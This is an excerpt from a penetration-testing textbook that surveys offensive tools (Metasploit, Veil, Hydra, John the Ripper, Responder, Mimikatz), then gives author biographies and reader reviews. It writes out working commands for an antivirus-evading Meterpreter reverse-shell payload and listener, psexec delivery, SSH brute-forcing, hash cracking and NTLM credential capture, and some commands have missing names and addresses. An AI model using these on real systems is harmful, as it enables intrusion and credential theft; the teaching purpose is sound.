An entire assessment can be run from Metasploit if needed; this is not suggested, but the tool is just that capable. Metasploit is modular; in fact, the components within Metasploit are called modules. There are broad groupings of modules, broken out into the following:

  • Auxiliary modules

  • Exploit modules

  • Post modules

  • Payload modules

  • NOP modules

  • Encoder modules

Auxiliary modules include scanners, brute forcers, vulnerability assessment tools, and server simulators. Exploits are just that, tools that can be run to exploit an interface service or another solution. Post modules are intended to elevate privileges, extract data, or interact with the current users on the system. Payloads provide an encapsulated delivery tool that can be used once access to a system is gained. When you configure an exploit module, you typically have to configure a payload module so that a shell will be returned.

No Operation (NOP) modules generate operations that do nothing for specific hardware architectures. These can be very useful when creating or modifying exploits. The last module type in Metasploit is the Encoder module. There is a huge misunderstanding with encoders and what they are used for. The reality is they are used to make the execution of payloads more reliable by changing the structure of the payload to remove certain types of characters. This reformats the operational codes of the original payload and makes the payload larger, sometimes much larger.

Occasionally, this change in the payload structure means that it will bypass IPS that relies strictly on specific signatures. This causes many assessors to believe that the encoding was for bypass antivirus; this is just a by-product of encoding, not the intent. Today, encoding rarely bypasses enterprise grade IPS solutions. Other products like Veil provide a much more suitable solution to this quagmire. Since most exploits can reference external payloads, it is best to look to external solutions like Veil even if you are using the Pro version of Metasploit. There will be times when the Metasploit Pro's IPS bypassing capability will not work; during such times, other tools may be needed. Metasploit will be covered in detail in the other chapters of this module.


This antivirus evasion suite has multiple methods to generate payloads. These payload types utilize methods that experienced assessors and malicious actors have used manually for years. This includes encrypting payloads with Advanced Encryption Standard (AES), encoding them, and randomizing variable names. These details can then be wrapped in PowerShell or Python scripts to make life even easier.

Veil can be launched by a Command Line Interface (CLI) or a console similar to Metasploit. For example, the following command shows the usage of the CLI that creates a PyInjector exploit, which dials back to the listening host on port 80; make sure that you replace "yourIP" with your actual IP if you wish to test this.

./ -l python -p AESVirtualAlloc -o \
python_payload --msfpayload \
windows/Meterpreter/reverse_tcp --msfoptions \

Now, go ahead and launch your Metasploit console and start up a listener with the following commands. This will launch the console; make sure that you wait for it to boot up. Further, it sets up a listener on your host, so make sure that you replace "yourIP" with your actual IP address. The listener will run in the background waiting for the returned session.

use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lport 80
set lhost yourIP
exploit -j

Move the payload over to a target Windows system and run the payload. You should see a session generated on your Kali host as long as there are no configuration issues, no other services running on the listening host's port 80, and nothing blocking the connection to port 80 between the exploited host and the listener.

So, if you have these custom exploits, how do you use them with real Metasploit exploits? Simple, just adjust the variable to point to them. Here is an example using the psexec module in Metasploit. Make sure that you change the targetIP to the target Windows system. Set the username of the local administrator on the system and the password of the local administrator on the system. Finally, set the custom EXE path to your python_paload.exe and you should see a shell generated over your listener.

use exploit/windows/smb/psexec
set rhost targetIP
set SMBUser username
set password password
set EXE::Custom /path/to/your/python_payload.exe
exploit -j

Burp Suite

Burp Suite is the standard when it comes to transparent proxies, or tools used to directly interact and manipulate streams of web traffic sent to and from your browser. This tool has a pro version, which adds a decent web vulnerability scanner. Care should be taken when using it, as it can cause multiple submissions of forums, e-mails, and interactions.

The same can be said with its Spider tool, which interacts with scoped web applications and maps them similar to web crawlers like Google and Bing. Make sure that when you use tools like these, you disable automatic submissions and logins initially, till you better understand the applications. More about Burp and similar web tools will be covered in Chapter 6, Assessing Web Applications with Python. Other similar tools include Zed Attack Proxy (ZAP), which now also contains the unlinked folder and file researching tool called DirBuster.


Hydra is a service or interface dictionary attack tool that can identify viable credentials that may provide access. Hydra is multithreaded, which means that it can assess services with multiple guesses in tandem, greatly speeding the attack and the noise generated. For example, the following command can be used for attacking a Secure Shell (SSH) service on a host with the IP address of

hydra -L logins.txt -P passwords.txt -f -V ssh

This command uses a username list and a password list, exits on the first success, and shows each login combination attempted. If you wanted to just test a single username and password, the command changes to use lowercase l and p, respectively. The corresponding command is as follows:

hydra -l root -p root -f -V ssh

Hydra also has the ability to run brute force attacks against services and an authentication interface of a website. There are many other tools in the industry that have similar capabilities, but most assessors use Hydra because of its extensive capabilities and protocol support. There are occasions where Hydra will not fit the bill, but usually, other tools will not meet the need either. When this happens, we should look at creating a Python script. Additional details related to credential attacks are covered in Chapter 4, Executing Credential Attacks with Python.

John the Ripper

John the Ripper (JtR), or John as most people call it, is one of the best crackers on the market, which can attack salted and unsalted hashes. One of the biggest benefits of John is that it can be used with most hashes. John has the ability to identify hash types from standard outputs and file formats. If run natively by providing just the hash file and no arguments, John will try and crack the hashes with its standard methodology. This is first attempted in the single crack mode, then the wordlist mode, and then finally, the incremental mode.


A salt is the output of a pseudorandom number generator (PRNG) that has been encoded to produce relatively random characters. The salt is injected into the process that hashes the passwords, which means that each time, a password is hashed, it is done so in a different format. The salt is then stored with the hash so that the comparison algorithm for the credentials input during authentication will be able to function as input credentials need to have the same salt to produce the same hash. This adds additional entropy to the hashing algorithm, which provides additional security and mitigates most rainbow table attacks.

A single crack attack takes information from the hash file, mangles the clear text words, and then uses the details as passwords along with some other rule sets. The wordlist mode is just that; it uses the default word list. Finally, the incremental mode runs through each character possibility in a brute force format attack. It is best to use a standalone cracking server running oclHashcat if you really need a relative incremental or brute force mode-style attack.


Password crackers work in one of the following two methods: by taking the test password and hashing it in real time, or by taking precomputed hashes and comparing them against the test hash. Real-time hash attacks allow an assessor to crack passwords that have been salted or unsalted during the original hashing process. Precomputed hash attacks have the benefit of being much faster, but they fail against salted passwords unless the salt was known during the precomputation period. Precomputed attacks use chained tables called rainbow tables. Real-time password attacks use either dictionaries or lists of words that may be mutated in real time or incremented in each character positions with different character sets. This describes dictionary attacks and brute force attacks, respectively.

The following is the example of running John against a hash file, from within the John folder if hashfile is located there.

./john hashfile

To run John in the single mode against hashfile, run the following command:

./john --single hashfile

To run John as with a word list, use the following command:

./john --wordlist=password_list hashfile

You can permutate and substitute the characters natively by running rules at the same time.

./john --wordlist=password_list --rules hashfile

John's real power comes from being able to be used on engagements from most systems, having strong permutation rules, and being very user friendly. John excels at cracking most standard OS password hashes. It can also easily represent the details in a format that is easy to match back to usernames and the original hashes.


In comparison to John, oclHashcat does not have a native capability to match the cracked details with the original data in a simple format. This makes it more difficult to provide password cracking statistics related to unique hashes. This is particularly true when the supplied hashes might be extracted from multiple sources and tied to the same account as they may be adjusted with different salts. Keep this in mind as most organizations would like to have cracking statistics in the final report.

The following command demonstrates how to show the password cracking results with John:

./john --show hashfile

One of John's unique capabilities is the ability to generate permutated passwords from a list of words, which can help build solid cracker lists, particularly when used with Cewl. Here is an example of how to create a permutated password list with John, with only unique words:

./john --wordlist=my_words --rules --stdout | unique my_words_new

Cracking Windows passwords with John

The biggest bang for your buck using John is for cracking passwords that have been hashed in the Local Area Network (LAN) Manager (MAN) or (LM) format. LM hashes are a weak form of hashes that can store a password of up to 14 characters in length. The passwords are split into two components of up to seven characters in length each and in the uppercase format. When cracking this type of hash, you have to crack the LM hashes that you have in order to convert the two components of the uppercase password into a single password in the proper case.

We do this by cracking the LM hash and then taking this cracked password and running it through John as a wordlist with the permutation rules enabled. This means that the password will be used as a word to attack the New Technology LM (NTLM) hash in different formats. This allows NTLM hashes, which are significantly stronger, to be cracked much faster. This can be done relatively automatically with a Perl script called LM2NTCRACK, but you can do it manually with John with great success as well.

You can create a test hash with a password that you like from websites such as I generated a pwdump format from the password of test, and changed the username to Administrator.


Make sure that you use the password that you copy as one line and place it into a file. The following commands are designed on the basis of the idea that the hash file is named hashfile and has been placed in the John directory, where the test is being run from.

./john --format=lm hashfile

Once the password has been cracked, you can copy it directly from the output and place it in a new file called my_wordlist. You can also show the password from the cracked hashes by using the command already demonstrated. An easy way to place the password in a file is to redirect an echo into it.

echo TEST > my_wordlist

Now, use this wordlist to execute a dictionary attack with rules running against the input data to permutate the word. This will allow you to find the properly cased password.

./john -rules --format=nt --wordlist=my_wordlist hashfile

The following screen capture highlights the cracking of this hash by using the techniques described earlier:


If you have a dedicated password cracker, or a system with a strong Graphics Processing Unit (GPU), oclHashcat is the way to go. The tool can quickly crack password hashes by taking advantage of the insane processing power available to the right audience. The big thing to keep in mind is that oclHashcat is not as simple or intuitive as John the Ripper, but it has strong brute force capabilities. The tool has the capability to be configured with wildcards, which means that the password dynamics for cracking can be very specific.


The version of oclHashcat that supports cracking without GPU is called Hashcat. This cracking tool is quickly surpassing John when it comes to password cracking, but it takes a good bit more research and training to use. As you gain experience you should move to cracking with Hashcat or oclHashcat.


This tool is most famous as a boot disk attack tool, but it can also be used as a standalone Rainbow Cracker. Ophcrack can be burned directly to a bootable Universal Serial Bus (USB) drive or Compact Disk (CD). When placed in a Windows system without Full Disk Encryption (FDE), the tool will extract the hashes from the OS. This is done by booting into a LiveOS or an OS that runs in memory. The tool will try and crack the hashes with rudimental tables. Most of the time, these tables fail, but the hashes themselves can be securely copied off the host with SSH to an attack box. These hashes can then be cracked offline with tools such as John or oclHashcat.

Mimikatz and Incognito

These tools both can work natively within a Meterpreter session, and each provides a means to interact and take advantage of a session on a Windows host. Incognito allows an assessor to interact with a token in memory by impersonating the user's cached credentials. Mimikatz allows an assessor to directly extract the credentials stored in memory, which means that the username and password are directly exposed. Mimikatz has the additional ability to run against memory dumps offline produced with tools such as SysInternals ProcDump.


There are many versions of Mimikatz and the one within the Meterpreter is the example we are covering in this module.


This tool is a suite of tools developed in Ruby, which uses a combination of PtH attacks, Mimikatz, and hash dumping to take advantage of a network. SMBexec makes taking over a network very easy as it provides a console interface and only requires an initial hash and username or credential pair, and a network range. The tool will automatically try and access resources, extract the details about any credentials in memory, cached details, and stored hashes. The catch with SMBexec is that Ruby Gem inconsistencies can cause this tool to be temperamental, and it can cause other tools such as Metasploit and even entire Kali instances to break. If you are going to use SMBexec, always create a separate VM with the specific goal to run this tool.


Cewl is a web spidering tool, which parses words from a site, uniquely identifies their instances, and outputs them into a file. Tools like Cewl are extremely useful when developing custom targeted password lists. Cewl has a number of capabilities to include targeted searches for details and limitations for the depth that the tool will dig to. Cewl is Ruby based and often has the same problems that SMBexec and other Ruby products do with Gems.


Responder is a Python script that provides assessors the ability to redirect proxy requests to an attacker's system through a misconfiguration of Web Proxy AutoDiscovery (WPAD). It can also receive network NTLM or NTLMv2 challenge response hashes. This is done by taking advantage of the natively enabled Local Link Multicast Name Request (LLMNR) and Network Basic Input Output System (NetBIOS) Name Service (NB-NS).

Responder usage is very simple; all that a user has to do is be on a network drop within the same broadcast domain as his targets. Executing the following command will create a pop-up window in the user's Internet Explorer session. It will request his/her domain credentials to allow him/her to move forward; this attack also means NTLMv2 protected hashes will be provided from attacks against LLMNR and NB-NS requests. Make sure that you swap "yourIP" with your actual IP address.

python -I yourIP -w -r -f -v -F

You can also force web sessions to return basic authentication instead of NTLM responses. This is useful when WPAD looks like it has been mitigated in the environment. This means that you will typically receive NTLMv2 challenge response hashes from attacks against LLMNR and NB-NS requests.

python -I yourIP -r -f -v -b

Responder attacks have become a mainstay in most internal assessments. WPAD, LLMNR, and NB-NS are rampant misconfigurations in most environments and should be assessed when possible. These vulnerabilities are commonly manipulated by both assessors and malicious actors.

theHarvester and Recon-NG

These tools are specifically focused on identifying data related to Open Source Intelligence (OSINT) gathering. The theHarvester tool is Python based and does a decent job of finding details from search engines and social media, but Recon-NG is the new kid on the block. Recon-NG is a console-based framework that was also created in Python, which can query a number of information repositories. This expanded capability means that Recon-NG is often the first tool that assessors go to now. Recon-NG has not replaced theHarvester, but theHarvester is often not used unless Recon-NG has not found sufficient details.

pwdump and fgdump

These tools are old in comparison to most tools like Mimikatz, but they are well known in the industry, and many password cracking tools are based on their output format. In fact, Metasploit's hashdump and smart_hashdump output the system hashes in what is known as the pwdump format. These hashes can be directly extracted from the session placed in a file and run through John by using the native command examples provided earlier.


Netcat or network concatenate, also known as nc, is one of the oldest forms of assessment and administrative tools. It is designed to interact with ports and services directly by providing an IP address, a port, and a protocol. It can also transmit files and establish sessions from host to host. Because of all the capabilities of this tool, it is often known as the digital Swiss Army Knife, used by assessors and administrators alike.


SANS Institute has a fantastic cheat sheet for netcat that highlights the majority of its capabilities, which can be found at the following URL:

Sysinternals tools

This tool suite was originally developed by Wininternals Software LP, Austin, Texas. These tools provide administrators and other professionals capabilities to handle, maintain, and control Windows systems in a large domain. The features that these tools provide are not natively built into Windows; Microsoft recognized this and purchased the company in 2006. These tools are free and open to the public, and it should be noted that many hacking tools have been built on the concepts originally created within this suite.

Some examples of tools used from this suite include procdump to dump memory and extract credentials. The psexec tool executes a PtH or perform remote process execution to establish a session with a remote host, and provides process interaction and listing capabilities with pskill or pslist. It should be noted that these tools are used by administrators and are typically white-listed. So, while many hacking tools are blocked by IPS, these are usually not. So, when all else fails, always think like a malicious administrator, because taking advantage of these capabilities is the crux of what most malicious actors do.



This chapter focused on discussing and defining penetration testing and why it is needed. On the basis of this definition, the PTES framework is described, which provides a new assessor the means to build his/her knowledge within a context of what an actual engagement would look like. To validate this knowledge, we explored how an example engagement breaks out across the major execution phases. Finally, the major tools used in a variety of assessments are listed and explained, many of which will be further explained with realistic examples in the following chapters. Now that you have an understanding about penetration testing and its methodology, we are going to start learning how powerful Python really is and how easy it is to get it up and running.

About the Authors

  • Christopher Duffy

    Christopher Duffy currently leads cybersecurity and penetration testing engagements globally. He has a specialization in advanced technical testing, including penetration testing and security assessment done to evaluate an organization's security strategy from a malicious actor's perspective. He has worked a lot with both network and system engineering teams to evaluate critical system data flows, and identified areas where controls can be put in place to prevent a breach of sensitive or critical data. His work with multiple organizations has been key to protecting resources based on the information they have held, which has helped reduce risks while maintaining resilient and cost-effective security postures. Chris has over 12 years of experience in the information technology and security areas, including security consultation, with a focus on business risk. He has helped build advanced attack and penetration teams. The work that his teams have done has encompassed everything from threat modeling and penetration tests to firewall reviews and FedRAMP readiness assessments. Chris has led, managed, and executed over 400 engagements for Fortune 500 companies, U.S. government entities, medical providers and payers, educational institutes, financial services, research organizations, and cloud providers. For almost a decade prior to private sector work, Chris was a cyber warfare specialist, senior systems engineer, and network infrastructure supervisor for the United States Air Force (USAF). He has been honored with numerous technical and leadership awards. Some of these include the (ISC)2 Information Security Leadership Award (ISLA) for the information security practitioner category in 2013, the noncommissioned officer of the year (both at the base and wing levels) in 2011, and the top technician within the cyber transport career field for the United States Air Force (USAF) Intelligence Surveillance and Reconnaissance Agency. He is a distinguished graduate of USAF network warfare training and has publications to his credit in SANS Reading Room, Hackin9 magazine, eForensics magazine and PenTest magazine. He holds 23 certifications, a degree in computer science, and a master's degree in information security and assurance.

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  • Mohit Raj

    Mohit Raj is a Python programmer with a keen interest in the field of information security. He completed his bachelor's degree in technology in computer science from Kurukshetra University, Kurukshetra, and his masters in engineering (2012) in computer science from Thapar University, Patiala. He is a C|EH, ECSA from EC-Council USA and a former IBMer. Mohit currently works at Sapient, and has published several articles in national and international magazines. He is the author of Python Penetration Testing Essentials and Python: Penetration Testing for Developers, also by Packt Publishing.

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  • Cameron Buchanan

    Cameron Buchanan is a penetration tester by trade and a writer in his spare time. He has performed penetration tests around the world for a variety of clients across many industries. Previously, Cameron was a member of the RAF. In his spare time, he enjoys doing stupid things, such as trying to make things fly, getting electrocuted, and dunking himself in freezing cold water. He is married and lives in London.

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  • Andrew Mabbitt

    Andrew Mabbitt is a penetration tester living in London, UK. He spends his time beating down networks, mentoring, and helping newbies break into the industry. In his free time, he loves to travel, break things, and master the art of sarcasm.

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  • Terry Ip

    Terry Ip is a security consultant. After nearly a decade of learning how to support IT infrastructure, he decided that it would be much more fun learning how to break it instead. He is married and lives in Buckinghamshire, where he tends to his chickens.

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  • Dave Mound

    Dave Mound is a security consultant. He is a Microsoft Certified Application Developer but spends more time developing Python programs these days. He has been studying information security since 1994 and holds the following qualifications: C|EH, SSCP, and MCAD. He recently studied for OSCP certification but is still to appear for the exam. He enjoys talking and presenting and is keen to pass on his skills to other members of the cyber security community. When not attached to a keyboard, he can be found tinkering with his 1978 Chevrolet Camaro. He once wrestled a bear and was declared the winner by omoplata.

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  • Benjamin May

    Benjamin May is a security test engineer from Cambridge. He studied computing for business at Aston University. With a background in software testing, he recently combined this with his passion for security to create a new role in his current company. He has a broad interest in security across all aspects of the technology field, from reverse engineering embedded devices to hacking with Python and participating in CTFs. He is a husband and a father.

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Very relevant info, told in a clear and concise way without getting boring. I'm using the information for writing test scripts related to securing an application.
It is very helpful for me. It fits my major, and people who are professional Quality Assurance want to improve their skills.

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